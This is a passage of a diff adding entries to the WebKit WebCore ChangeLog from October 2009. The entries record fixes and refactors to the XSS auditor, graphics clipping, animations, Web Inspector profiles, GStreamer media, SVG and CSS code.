+               http/tests/security/xssAuditor/script-tag-with-source-comment.html
+
+        * page/XSSAuditor.cpp: Added constant minAttackLength.
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::canSetBaseElementURL):
+        (WebCore::XSSAuditor::findInRequest): Added parameter context. Only looks at up 
+        to minAttackLength of script code plus context (if any).
+        * page/XSSAuditor.h:
+
+2009-10-08  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Currently, Skia clip paths are 1-bit. This patch makes our path
+        clipping anti-aliased for non-canvas drawing.
+
+        http://code.google.com/p/chromium/issues/detail?id=5927
+        https://bugs.webkit.org/show_bug.cgi?id=28820
+        http://www.imperialviolet.org/2009/09/02/anti-aliased-clipping.html
+
+        Already covered by layout tests. New baselines will be needed in the
+        Chromium tree.
+
+        (Reland. First landed in r49329, reverted in r49330 due to Windows
+        build break)
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::clip):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::clip):
+        (WebCore::GraphicsContext::canvasClip):
+        (WebCore::GraphicsContext::clipPath):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::clipPathAntiAliased):
+        (PlatformContextSkia::restore):
+        (PlatformContextSkia::applyAntiAliasedClipPaths):
+        * platform/graphics/skia/PlatformContextSkia.h:
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::canvasClip):
+
+2009-10-15  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7295738> No way to mute/unmute a movie in full screen video mode
+
+        * WebCore.Video.exp: Export muted and setMute.
+
+2009-10-15  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Transitions fail to run sometimes
+        https://bugs.webkit.org/show_bug.cgi?id=26770
+
+        Fix an issue where we could attempt to start accelerated animations or transitions on
+        GraphicsLayer that were not rooted (because of visibility:hidden), which would leave
+        the AnimationController's m_waitingForResponse flag in a state that killed subsequent
+        software transitions.
+
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::AnimationControllerPrivate):
+        (WebCore::AnimationControllerPrivate::endAnimationUpdate):
+        (WebCore::AnimationControllerPrivate::receivedStartTimeResponse):
+        (WebCore::AnimationControllerPrivate::addToStartTimeResponseWaitList):
+        (WebCore::AnimationControllerPrivate::startTimeResponse):
+        * page/animation/AnimationControllerPrivate.h:
+        Make some methods non-inline for ease of debugging (these are not hot methods).
+        Rename m_waitingForAResponse to m_waitingForResponse.
+        
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::hasAncestor):
+        New method to report whether the receiver has the given layer as an ancestor. Used for checking
+        whether a layer is rooted.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::startAnimation):
+        (WebCore::RenderLayerBacking::startTransition):
+        Don't try to start accelerated animations or transitions on non-rooted GraphicsLayers.
+
+2009-10-15  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Refactor ProfilesPanel to support multiple profile types
+
+        Data describing different profile types are now stored in distinct objects.
+        https://bugs.webkit.org/show_bug.cgi?id=30332
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.CPUProfileView.profileCallback):
+        (WebInspector.CPUProfileView):
+        (WebInspector.CPUProfileView.prototype._sortData):
+        (WebInspector.CPUProfileType):
+        (WebInspector.CPUProfileType.prototype.get buttonTooltip):
+        (WebInspector.CPUProfileType.prototype.get buttonStyle):
+        (WebInspector.CPUProfileType.prototype.buttonClicked):
+        (WebInspector.CPUProfileType.prototype.setRecordingProfile):
+        (WebInspector.CPUProfile):
+        (WebInspector.CPUProfile.prototype.get title):
+        (WebInspector.CPUProfile.prototype.get uid):
+        (WebInspector.CPUProfile.prototype.get head):
+        (WebInspector.CPUProfile.prototype.createView):
+        (WebInspector.CPUProfile.prototype.viewForProfile):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfileType):
+        (WebInspector.ProfileType.prototype.get buttonTooltip):
+        (WebInspector.ProfileType.prototype.get buttonStyle):
+        (WebInspector.ProfileType.prototype.get buttonCaption):
+        (WebInspector.ProfileType.prototype.get id):
+        (WebInspector.ProfileType.prototype.get name):
+        (WebInspector.ProfileType.prototype.buttonClicked):
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.get statusBarItems.clickHandler):
+        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
+        (WebInspector.ProfilesPanel.prototype.reset):
+        (WebInspector.ProfilesPanel.prototype.registerProfileType):
+        (WebInspector.ProfilesPanel.prototype._makeKey):
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        (WebInspector.ProfilesPanel.prototype.showProfile):
+        (WebInspector.ProfilesPanel.prototype.getProfileType):
+        (WebInspector.ProfilesPanel.prototype.showProfileForURL):
+        (WebInspector.ProfilesPanel.prototype.updateProfileTypeButtons):
+        (WebInspector.ProfilesPanel.prototype.displayTitleForProfileLink):
+        (WebInspector.ProfilesPanel.prototype.get searchableViews):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector.addProfileHeader):
+        (WebInspector.setRecordingProfile):
+        (WebInspector.linkifyStringAsFragment):
+        (WebInspector.showProfileForURL):
+
+2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Enable inspector layout tests.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30014
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::evaluateForTestInFrontend):
+
+2009-10-15  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GStreamer] READY state doesn't mean "enough data"
+        https://bugs.webkit.org/show_bug.cgi?id=30003
+
+        STATE_READY means MediaPlayer::HaveNothing
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::updateStates):
+
+2009-10-15  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30002
+
+        implement cancelLoad
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::cancelLoad):
+
+2009-10-15  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30353
+        
+        Fix race condition, leading to a deadlock
+
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_timeout_func):
+        (webkit_video_sink_render):
+        (unlock_buffer_mutex):
+        (webkit_video_sink_unlock):
+        (webkit_video_sink_unlock_stop):
+        (webkit_video_sink_stop):
+        (webkit_video_sink_start):
+        (webkit_video_sink_class_init):
+        Fix race condition in unlock/render that would lead to deadlocks.
+
+2009-10-15  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30374
+        
+        Check if caps are valid before parsing them
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::duration):
+        Check if caps are valid before parsing them in ::naturalSize().
+        This prevents assertions if the natural size should be calculated
+        before the video caps are negotiated.
+
+2009-10-15  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30006
+        [GStreamer] Unnecessary checks for Messages types in callbacks
+
+        refactored gst message callbacks into a single one
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::do_gst_init):
+        (WebCore::MediaPlayerPrivate::duration):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-10-15  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Adele Peterson.
+
+        Anchor elements should be mouse focusable regardless isLink flag.
+        https://bugs.webkit.org/show_bug.cgi?id=26856
+
+        * html/HTMLAnchorElement.cpp:
+        * html/HTMLAnchorElement.h:
+
+2009-10-15  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Sort XCode project file.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-15  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Dave Hyatt.
+
+        Return correct shorthand property name for 
+        background-repeat-x, background-repeat-y, background-position-x,
+        background-position-y, -webkit-mask-position-x, -webkit-mask-position-y,
+        -webkit-mask-repeat-x, -webkit-mask-repeat-y.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28972
+
+        Test: fast/backgrounds/repeat/background-repeat-shorthand.html
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+
+2009-10-14  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Migrate profiles to the injected script-based schema.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30328
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getProfileHeaders):
+        (WebCore::InspectorBackend::getProfile):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::getProfileHeaders):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::createProfileHeader):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addProfileHeader):
+        (WebCore::InspectorFrontend::didGetProfileHeaders):
+        (WebCore::InspectorFrontend::didGetProfile):
+        * inspector/InspectorFrontend.h:
+        * inspector/JavaScriptProfileNode.cpp:
+        (WebCore::ProfileNodeClass):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView.profileCallback):
+        (WebInspector.ProfileView):
+        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
+        (WebInspector.ProfileView.prototype._assignParentsInProfile):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addProfileHeader):
+
+2009-10-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Create and update frontend script objects only when
+        web inspector is visible.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30376
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addConsoleMessage):
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::pruneResources):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
+        (WebCore::InspectorController::identifierForInitialRequest):
+        (WebCore::InspectorController::mainResourceFiredDOMContentEvent):
+        (WebCore::InspectorController::mainResourceFiredLoadEvent):
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        (WebCore::InspectorController::resourceRetrievedByXMLHttpRequest):
+        (WebCore::InspectorController::scriptImported):
+        (WebCore::InspectorController::didOpenDatabase):
+        (WebCore::InspectorController::didUseDOMStorage):
+        (WebCore::InspectorController::evaluateForTestInFrontend):
+
+2009-10-15  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Fix Windows build.
+
+        * dom/Document.idl:
+
+2009-10-14  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        [HTML5] Add document.head
+        https://bugs.webkit.org/show_bug.cgi?id=30232
+
+        Test is fast/dom/document-head.html
+
+        * dom/Document.idl: added readonly attribute head
+
+2009-10-14  Matt Mueller  <mattm@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Check FNonNeg after the unit switch to avoid valgrind uninitialised conditional reference in WebCore::CSSParser::validUnit.  See http://crbug.com/20939.
+        https://bugs.webkit.org/show_bug.cgi?id=30347
+        https://bugs.webkit.org/show_bug.cgi?id=22772
+
+        Covered by running LayoutTests/fast/css/invalid-percentage-property.html under valgrind.
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::validUnit):
+
+2009-10-14  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Move scrolling code from FrameLoader to FrameView
+        https://bugs.webkit.org/show_bug.cgi?id=30370
+
+        This code is about controlling the Frame's view, not about loading
+        stuff into the frame.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::finishedParsing):
+        (WebCore::FrameLoader::scrollToAnchor):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollToFragment):
+        (WebCore::FrameView::scrollToAnchor):
+        * page/FrameView.h:
+
+2009-10-14  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Make typeinfo flags default to false
+        https://bugs.webkit.org/show_bug.cgi?id=30372
+        
+        Part 1. Reverse the HasStandardGetOwnPropertySlot flag.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::createStructure):
+        (WebCore::DOMConstructorObject::createStructure):
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::createStructure):
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::createStructure):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        (WebCore::JSQuarantinedObjectWrapper::createStructure):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/objc/objc_runtime.h:
+        (JSC::Bindings::ObjcFallbackObjectImp::createStructure):
+        * bridge/runtime_array.h:
+        (JSC::RuntimeArray::createStructure):
+        * bridge/runtime_method.h:
+        (JSC::RuntimeMethod::createStructure):
+        * bridge/runtime_object.h:
+        (JSC::RuntimeObjectImp::createStructure):
+
+2009-10-14  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        [XSSAuditor] Add an exception for local files
+        https://bugs.webkit.org/show_bug.cgi?id=30352
+
+        Reduce XSS auditor false positives by always letting pages load scripts
+        from their own host. We don't actually know of any false positives
+        that this prevents, but it seems like a good idea.
+
+        One subtly is that we don't add this exception for scripts that have a
+        query string because (1) URLs with query strings are more apt to
+        confuse servers and (2) it is much less common to load scripts with a
+        query string.
+
+        Tests: http/tests/security/xssAuditor/script-tag-with-source-same-host-with-query.html
+               http/tests/security/xssAuditor/script-tag-with-source-same-host.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+
+2009-10-14  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by George Staikos.
+
+        Kill virtual contextElement() method spread all over SVG code
+        https://bugs.webkit.org/show_bug.cgi?id=30183
+
+        Remove virtual contextElement() function from all SVG*Element classes, as all animated properties live in the
+        SVG*Element classes now instead of the SVGFitToViewBox / SVGURIReference / SVGExternalResourcesRequired
+        subclasses. This is a first step to working animVal support. More patches will follow that depend on this change.
+
+        Remove "This file is part of the KDE project" from several files, change my old mail adress wildfox -> zimmermann,
+        and remove vim modelines on all files I touched. No change in functionality, thus no new tests.
+
+        * svg/SVGAElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGAltGlyphElement.h: Remove virtual contextElement() method.
+        * svg/SVGAnimatedProperty.h:
+        (WebCore::::synchronize):
+        (WebCore::::startAnimation):
+        (WebCore::::stopAnimation):
+        * svg/SVGAnimationElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGCircleElement.h: Ditto.
+        * svg/SVGClipPathElement.h: Ditto.
+        * svg/SVGCursorElement.h: Ditto.
+        * svg/SVGDefsElement.h: Ditto.
+        * svg/SVGEllipseElement.h: Ditto.
+        * svg/SVGExternalResourcesRequired.h: Remove pure-virtual contextElement() method.
+        * svg/SVGFEImageElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGFELightElement.h: Remove virtual contextElement() method.
+        * svg/SVGFEMergeNodeElement.h: Ditto.
+        * svg/SVGFilterElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGFilterPrimitiveStandardAttributes.h: Remove virtual contextElement() method.
+        * svg/SVGFitToViewBox.cpp:
+        (WebCore::SVGFitToViewBox::parseViewBox): Add Document* parameter - we used to fetch the Document pointer from the context element.
+        (WebCore::SVGFitToViewBox::parseMappedAttribute): Ditto.
+        * svg/SVGFitToViewBox.h: Remove pure-virtual contextElement() method.
+        * svg/SVGFontElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGForeignObjectElement.h: Ditto.
+        * svg/SVGGElement.h: Ditto.
+        * svg/SVGGradientElement.h: Ditto.
+        * svg/SVGImageElement.h: Ditto.
+        * svg/SVGLineElement.h: Ditto.
+        * svg/SVGMPathElement.h: Ditto. Fix license indention.
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        * svg/SVGMarkerElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGMaskElement.h: Ditto.
+        * svg/SVGPathElement.h: Ditto.
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        * svg/SVGPatternElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGPolyElement.cpp:
+        (WebCore::SVGPolyElement::updateAnimatedSVGAttribute): synchronizeProperty<...>() has been renamed to PropertySynchronizer<...>::synchronize().
+        * svg/SVGPolyElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGRectElement.h: Ditto.
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        * svg/SVGSVGElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGScriptElement.h: Ditto.
+        * svg/SVGSwitchElement.h: Ditto.
+        * svg/SVGSymbolElement.cpp:
+        (WebCore::SVGSymbolElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        * svg/SVGSymbolElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGTRefElement.h: Remove virtual contextElement() method.
+        * svg/SVGTextContentElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGTextPathElement.h: Remove virtual contextElement() method.
+        * svg/SVGUseElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGViewElement.cpp:
+        (WebCore::SVGViewElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        * svg/SVGViewElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
+        * svg/SVGViewSpec.cpp:
+        (WebCore::SVGViewSpec::setViewBoxString): Pass document() to SVGFitToViewBox::parseMappedAttribute().
+        (WebCore::SVGViewSpec::parseViewSpec): Ditto.
+        * svg/SVGViewSpec.h: Devirtualize contextElement() method, it's the only place where contextElement() remains needed.
+
+2009-10-14  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Masking with wrong offset
+        [https://bugs.webkit.org/show_bug.cgi?id=30325]
+
+        SVGMaskElement moves the mask image graphics context to the wrong location.
+        In objectBoundingBoxMode the maskDestRect gets translated. This transformation
+        is not used in the later calculation. Fix by consistenly calculating the translation
+        offsets from the final mask destination rect.
+
+        Test: svg/custom/mask-with-default-value.svg
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+
+2009-10-14  Kevin Decker  <kdecker@apple.com>
+
+        Rubberstamped by Jon Honeycutt.
+        
+        Export a few more showSubstituteImage() related methods.
+        
+        * WebCore.base.exp:
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-14  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Stringify CSS units manually (without printf) to make the formatting
+        locale-insensitive and obey CSS spec with respect to large values.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=18994
+
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::appendCSSDouble):
+        (WebCore::formatWithUnits):
+        (WebCore::CSSPrimitiveValue::cssText):
+
+2009-10-14  Mark Seaborn  <mseaborn@google.com>
+
+        Reviewed by Darin Adler.
+
+        Check error return value in Perl build script
+        https://bugs.webkit.org/show_bug.cgi?id=30316
+
+        * css/makevalues.pl: Die if gperf fails.
+
+2009-10-14  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG wrong filterRegions for userSpaceOnUse and percentage values
+        [https://bugs.webkit.org/show_bug.cgi?id=30330]
+
+        Some clean-up of the SVG filter calculation code. This clean-up
+        also fixes the problem with percentage and userSpaceInUse mode.
+
+        Test: svg/filters/subRegion-in-userSpace.svg
+
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::FilterEffect):
+        * platform/graphics/filters/FilterEffect.h:
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::filterBoundingBoxForRenderer):
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::buildFilter):
+        (WebCore::SVGFilterElement::canvasResource):
+        * svg/SVGFilterElement.h:
+        * svg/SVGFilterPrimitiveStandardAttributes.cpp:
+        (WebCore::SVGFilterPrimitiveStandardAttributes::setStandardAttributes):
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::SVGResourceFilter):
+        (WebCore::SVGResourceFilter::~SVGResourceFilter):
+        (WebCore::SVGResourceFilter::addFilterEffect):
+        (WebCore::SVGResourceFilter::prepareFilter):
+        * svg/graphics/SVGResourceFilter.h:
+        (WebCore::SVGResourceFilter::create):
+        * svg/graphics/filters/SVGFilter.cpp:
+        (WebCore::SVGFilter::SVGFilter):
+        (WebCore::SVGFilter::calculateEffectSubRegion):
+        (WebCore::SVGFilter::create):
+        * svg/graphics/filters/SVGFilter.h:
+
+2009-10-14  Chris Marrin  <cmarrin@apple.com>
+
+        The last change fixed the problem, removing diagnostic printfs.
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+
+2009-10-14  Kevin Ollivier  <kevino@theolliviers.com>
+
+        CURL build fix for versions < 7.18.
+
+        * platform/network/curl/ResourceHandleCurl.cpp:
+        (WebCore::ResourceHandle::setDefersLoading):
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::ResourceHandleManager::initializeHandle):
+
+2009-10-14  Chris Marrin  <cmarrin@apple.com>
+
+        One more round of changes to figure out why the webgl 
+        tests are crashing on the build bot. Here I am trying
+        to see if we can create a software renderer. I am also
+        printing the found pixel formats.
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+
+2009-10-14  Yael Aharon  <yael.aharon@nokia.com>
+ 
+        Reviewed by Simon Hausmann.
+ 
+        Enabling NPAPI plugin support on Qt Webkit for S60 platform
+        https://bugs.webkit.org/show_bug.cgi?id=29302
+
+        Also implemented by Mahesh Kulkarni<mahesh.kulkarni@nokia.com>, 
+        Rohini Ananth <rohini.ananth@nokia.com> and help from Norbert Lesr
+        <norbert.leser@nokia.com>
+         
+        * WebCore.pro:
+        Enabling ENABLE_NETSCAPE_PLUGIN_API for S60 and added S60 specific 
+        new plugin files to be compiled under symbian: macro
+
+        * bridge/npapi.h:
+        Added NPEvent and NPRegion definition for Symbian
+
+        * plugins/PluginPackage.h:
+        Added S60 specific plugin interface and plugin loader variables
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::unload): Added !PLATFORM(SYMBIAN) macro.
+        Default implementation to be used only for non-symbian platform
+        * plugins/PluginDatabase.cpp:
+        Macro !SYMBIAN checking
+        * plugins/PluginView.h:
+        Add Symbian to platforms that support setNPWindowIfNeeded
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::setFrameRect): Add Symbian to platforms that
+        call setNPWindowRect from setFrameRect
+         
+        Added folder 'symbian' which contains implementation files for S60
+        platform-specific NPAPI plugin functionality, under /plugins folder
+        * plugins/symbian
+        * plugins/symbian/npinterface.h:
+        Plugin Interface to be implemented by S60 NPAPI plugins 
+        * plugins/symbian/PluginContainerSymbian.h:
+        * plugins/symbian/PluginContainerSymbian.cpp:
+        * plugins/symbian/PluginDatabaseSymbian.cpp:
+        * plugins/symbian/PluginViewSymbian.cpp:
+        * plugins/symbian/PluginPackageSymbian.cpp:
+
+2009-10-14  Chris Marrin  <cmarrin@apple.com>
+
+        More changes to figure out why the webgl tests are crashing on the build bot.
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+
+2009-10-14  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by David Hyatt.
+
+        Round non-integer line height values.
+
+        Change webkit to rounding non-integer line height values
+        instead of truncating them. This fixes a layout test
+        failure on Windows and matches the calculation in IE and Firefox. 
+
+        https://bugs.webkit.org/show_bug.cgi?id=24434
+
+        Test: fast/css/line-height-rounding.html
+              fast/forms/textarea-scrollbar-height.htm
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::computeLogicalBoxHeights):
+        * rendering/RenderBR.cpp:
+        (WebCore::RenderBR::lineHeight):
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::computedLineHeight):
+
+2009-10-13  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Removes the persistent setting for InspectorTimelineAgent and renames timeline related
+        interfaces to be more consistent with the JavaScript profiler.
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::startTimelineProfiler):
+        (WebCore::InspectorBackend::stopTimelineProfiler):
+        (WebCore::InspectorBackend::timelineProfilerEnabled):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::startTimelineProfiler):
+        (WebCore::InspectorController::stopTimelineProfiler):
+        (WebCore::InspectorController::timelineProfilerEnabled):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::timelineProfilerWasStarted):
+        (WebCore::InspectorFrontend::timelineProfilerWasStopped):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/TimelineAgent.js:
+        (WebInspector.timelineProfilerWasStarted):
+        (WebInspector.timelineProfilerWasStopped):
+
+2009-10-01  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adele Peterson.
+
+        Fix crash when loading invalid image data
+        https://bugs.webkit.org/show_bug.cgi?id=29980
+
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::setImageSizeForAltText):
+
+2009-10-09  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix for NULL ptr deref in canvas's toDataURL().
+        https://bugs.webkit.org/show_bug.cgi?id=30254
+
+        Test: fast/canvas/canvas-toDataURL-crash.html
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::toDataURL):
+
+2009-10-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed, reverting r49558 since it broke profiler tests.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30328
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getProfileHeaders):
+        (WebCore::InspectorBackend::getProfile):
+        * inspector/InspectorBackend.h:
